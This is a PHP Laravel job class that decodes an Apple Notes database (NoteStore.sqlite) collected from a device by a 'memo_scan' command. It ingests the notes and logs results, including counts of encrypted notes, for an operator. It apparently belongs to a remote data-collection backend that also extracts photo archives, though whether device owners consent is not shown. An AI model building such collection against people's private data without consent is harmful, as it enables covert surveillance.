<?php

namespace App\Jobs;

use App\Models\Device;
use App\Services\DsMemoDecoder;
use App\Services\IngestService;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Queue\Queueable;

/**
 * Decode one memo_scan command's assembled NoteStore.sqlite trio into
 * structured notes and persist them via IngestService::ingestNotes().
 *
 * Mirrors ExtractPhotoArchive: sync mode runs inline during the /result
 * request; switching QUEUE_CONNECTION to database/redis makes it async
 * with no code change.
 */
class DecodeMemoDb implements ShouldQueue
{
    use Queueable;

    public int $tries = 1;

    public int $timeout = 120;

    public function __construct(
        public int $deviceId,
        public string $commandId,
    ) {}

    public function handle(DsMemoDecoder $decoder, IngestService $ingest): void
    {
        $device = Device::query()->find($this->deviceId);
        if ($device === null) {
            return;
        }

        $result = $decoder->decode($device, $this->commandId);
        $items = $result['items'];
        $meta = $result['meta'];

        if ($items !== []) {
            $ingest->ingestNotes($device, ['list' => $items]);
        }

        // Always record a decode event so the operator can see scan results
        // (incl. empty / encrypted / error cases) in the device log tab.
        \App\Models\DeviceEvent::create([
            'device_id' => $device->id,
            'device_key' => $device->device_id,
            'event_name' => 'memo_decode',
            'desc' => mb_substr(
                'memo_decode · '.$meta['notes'].' 条'.($meta['encrypted'] > 0 ? ' (加密 '.$meta['encrypted'].')' : '')
                .($items === [] ? ' · 无正文' : ' · 入库 '.count($items))
                .($meta['errors'] !== [] ? ' · '.implode(';', $meta['errors']) : ''),
                0, 512
            ),
            'context_json' => [
                'type' => 'memo_decode',
                'command_id' => $this->commandId,
                'db_path' => $meta['db_path'],
                'notes' => $meta['notes'],
                'encrypted' => $meta['encrypted'],
                'ingested' => count($items),
                'errors' => $meta['errors'],
            ],
        ]);
    }
}